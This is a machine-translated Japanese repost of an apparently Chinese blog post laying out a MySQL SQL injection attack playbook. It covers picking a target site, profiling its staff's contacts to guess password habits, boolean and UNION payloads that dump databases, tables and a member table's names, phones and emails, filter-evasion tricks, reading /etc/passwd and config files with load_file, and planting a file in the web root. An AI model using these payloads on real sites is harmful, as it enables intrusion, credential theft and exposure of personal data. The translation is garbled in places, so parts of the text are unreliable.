Mysqlインジェクションエクスペリエンスに関する簡単な説明

Mysqlインジェクションエクスペリエンスに関する簡単な説明


1.注入の準備と攻撃の手順

1.インジェクション攻撃の標的となるWebサイトを確認します

2.対象ウェブサイト上の一般情報の収集、分析、抽出

3. Webサイトのテクニカル分析:利用可能なインジェクションポイントの検索とテスト、Webページの入力および出力メカニズムの分析

4.スパイのリターン:SQLを挿入して、データベースの種類と現在のアカウントのアクセス許可レベルを判別します

5.特権昇格の分析:ユーザーレベルに応じて、システムレイヤーと対話して特権を昇格できるかどうか、データベースレイヤーと対話して特権を昇格できるかどうか、および次の権限を取得できるかどうかを判断します。 Webバックグラウンド管理者。

6. Webサイトは、SQLインジェクションタイプのテスト、ブラインドインジェクションに使用できますか?重要ですか?

7.ブラインドインジェクション戦略:インジェクション分析ツールを使用して陣痛を置き換える

注目すべき戦略:サードパーティがトップです

一般情報の収集、分析、抽出:

信念:役に立たない情報はありません

それが人工的である限り、抜け穴の可能性があります。どんな情報でも、その背後にある別の情報層が明らかになります。

1.ドメイン名情報

2.登録者、会社、連絡先番号、その他の情報収集などのドメイン名情報の拡張情報

3.技術R&D担当者、QQ、携帯電話、ブログ、Weiboなどの関連する連絡先情報など、Webサイト上のすべての関連スタッフの情報収集。目標は、関係者のパスワード設定の習慣とルールを取得することです。

テクニカル分析:

1.テクニカル分析

一般的な情報の関連付け、Webページのソースコード分析、入力および出力メカニズムの分析、利用可能な注入ポイントの検索とテストの可能性。

2. Firefoxブラウザーを使用して、ブラウザープラグインのハックバーをインストールします


2.注入ポイントの発見とテスト

1.一般的な注入ポイント

a。フォームの入力フィールド

b。URLパラメータ(より一般的)

c。Cookieまたは非表示ドメイン

2.フォーム、Cookie、または非表示フィールドにフィールドを入力します

Webページの入出力メカニズムを完全に分析、フィルタリング、抽出し、入力ドメイン、Cookie、URLパラメータ変数名、データベースに渡す方法など、SQLインジェクションを実行するための可能なメカニズムを理解する必要があります。エンジン。

3.URLパラメータ

-最初に不変ロジックと空集合ロジックを使用して、どのパラメーターが注入ポイントであるかを判別します

文字タイプパラメータ:一重引用符 'または二重引用符で閉じることができるかどうかをテストします

'および' 1 '=' 1変更されていないロジック、テストWebページまたはプログラムの表示が正しく行われる

'および' 1 '=' 2空のセットロジック、テストWebページまたはプログラムの表示が正しくないか、エラーを報告する

'または' 1 '=' 1ロジックの完全なセット、Webページ上のデータ量の処理が変更されたかどうかをテストします

整数型パラメーター:

および1 = 1変更されていないロジック、テストページまたはプログラムが正しく表示されます

および1 = 2空のセットロジック、テストページまたはプログラムの表示が正しくないか、エラーを報告する

または1 = 1完全なセットロジック、Webページによるデータボリュームの処理が変更されたかどうかをテストします

-注入ポイントから効果的な情報を取得します

そしてleft(version()、1)= 5

and substr(version()、1,1)= 5 //データベースのバージョン番号の最初の番号が5であるかどうかを判別します

正しい説明を返します。

1.データベースはmysqlです

2.データベース関数のフィルタリングされていない実行

3.括弧はフィルタリングされません

4.サブクエリはフィルタリングされない可能性があります

5.複雑なロジックを注入できます

6.注射の程度を評価します

-ユーザー権限レベルの確認

ユーザー()

Webページインジェクションテスト:and(select length(user())from mysql.user where user like'z% ')> 1

および(user = user())> = 1であるmysql.userからcount(*)を選択します

および(select length(user())from mysql.user where user = user())> = 1

正しい説明を返します。

1. mysqlディクショナリデータベースへのアクセス許可を持っている、そうでない場合はアクセス許可がない

許可がない場合は、パスワードの取得が制限されるため、Webサイトの管理者のパスワードなど、他の方法を検討する必要があります。

2. mysqlディクショナリライブラリへのアクセス許可がない場合は、information_schemaディクショナリライブラリへのテストアクセス許可をテストする必要があります。

必要にする试:and(select count(*)from information_schema.tables where table_schema = database())> 1

正しい説明を返します。

information_schemaディクショナリライブラリへのアクセス許可があり、すべてのデータベース、すべてのテーブル、およびすべてのディクショナリ情報を取得できます。Webバックグラウンドの管理者権限を破ると便利です。


3つ目は、攻撃戦略におけるSQLインジェクションのタイプを確認することです。

出力メカニズムによって分類:

ブラインドノート:出力データベースのコンテンツはWebページに表示されず、論理的な判断のみが表示されます。

エラーレポート:プログラムとデータベースのエラーレポートの助けを最大限に活用し、すべての情報を愚かに伝えます

重要な注意:挿入されたクエリステートメントの内容はWebページに表示されます

その他:電子メール、ftp、sambaおよびその他のプロトコル

重要な注意:サードパーティが権力を握っています

1 = 2 union select 1,2,3,4,5,6,7,8,9- + // – +は次のSQLステートメントをコメントアウトするために使用され、+はスペースのチェックを回避するために使用されます

//ページの上の数字を確認します。この位置は、データベース情報を公開するための特別なステートメントで構成できます。

サブクエリテスト:

代替プログラムクエリ、データベースディクショナリ情報のみをクエリします。

union select 1,2,3,4、table_name、6,7,8,9 from information_schema.tables where table_schema = database()limit 1 – //查询表名

//エコー位置が制限されている場合は、concat()、concat_ws()、group_concat()関数を使用してより多くの情報をエコーできます


第四に、検査注射を回避する

スペースチェックの回避:

1.または– + 1 = !! 1スペースの代わりに不変ロジック!!または!!!を使用します

2. and / ** / select / ** / uname / ** / from / ** / usersの代わりにコメント

3. +記号の接続文字を置き換えます

4. 16進コード%20を使用します

5. ASCIIコードがchar(32)を置き換えます

一重引用符の回避:

1.別の方法を変更します

およびleft(user()、1)= 'z'换成およびascii(left(user()、1))= 122


### 5番目に、データベースに違反し、バックグラウンドの管理者権限を取得します

ストームデータベース名

および1 = 2 union select 1,2,3,4、concat_ws( '〜'、schema_name)、6,7,8,9 from information_schema.schemata limit 1,10 –

暴力的なテーブル名// Webバックエンド管理者パスワードの取得には、%user%、%member%などのテーブルが存在する可能性があります

および1 = 2 union select 1,2,3,4、concat_ws( '〜'、table_schema、table_name、table_rows、table_comment)、6,7,8,9 from information_schema.tables where table_schema = database()–

暴力的なフィールド名// column_name、column_commentはフィールドの機能を説明している可能性があります

および1 = 2 union select 1,2,3,4、concat_ws( '〜'、table_schema、table_name、column_name、column_comment)、6,7,8,9 from information_schema.columns where table_schema = database()and table_name = 'メンバーの制限1,10–

ストームフィールド値

および1 = 2 union select 1,2,3,4、concat_ws( '〜'、member_name、mobile、e_mail)、6,7,8,9 from zakkanet.member limit 1,100 –

//管理者の機密情報を見つけるための%admin%のような場所

除外される状況:

戻り値が空の場合、文が正しく入力されていませんか、それとも元のエコーが空ですか?

ifnull( 'table_name'、 'null_tablename')//テーブルフィールドが空の場合、null_tablenameがエコーされます

6、システムインタラクティブ右エスカレーション

1.システムレイヤーと対話する方法

  • ディスクファイルの読み取りと書き込み

  • コマンドを直接実行する

    特権を昇格させるためのシステム層との相互作用は、mysqlサーバープロセスが実行される特権、およびプログラムに接続されたデータベースアカウントによって使用される特権レベルによって異なります。

2.システムファイルを読み取ります

load_file( '/ etc / password')

select uid、uname from users where uid = 10008 and 0 = 9 union select 1、load_file( '/ etc / passwd')

select uid、uname from users where uid = 10008 and 0 = 9 union select 1、load_file( '/ var / www / html / web.config')// Webサイト構成ファイルを読み取ります

dbconfig.conf // Webサイトの構成情報を読み取り、ユーザー名とパスワードの情報を取得します

ブラインドにはsubstr、char、asciiなどを使用します

3.バックドアスクリプトファイルを保持します

select ' <script>alert()</script>' into outfile '/ var / www / html / test.php'; //混乱したテストスクリプト


7、SQLインジェクション脆弱性検出ツール

1.手動の方法を置き換えて、脆弱なURLを自動的に検出します

Safe3 SQL Injector

これは、SQLインジェクションの脆弱性とデータベースサーバープロセスを自動的に検出して悪用できる、最も強力で使いやすい侵入テストツールです。

Safe3 SQL Injectorには、MySQL、Oracle、PostgreSQL、SQL Server、Access、SQLite、Firebird、Sybase、SAP、MaxDB、およびその他のデータベースを読み取る機能があります。同時に、MySQLとSQL Serverへのファイルの書き込み、およびSQLServerとOracleでの任意のコマンドの実行をサポートします。Safe3 SQL Injectorは、エラーベース、ユニオンベース、およびブラインドタイムベースのインジェクション攻撃もサポートします。

2.指定されたURLの徹底的に可能な挿入

言うまでもなく、Sqlmapはアーティファクトを注入します

おすすめ

転載: blog.csdn.net/qq_43665434/article/details/114629706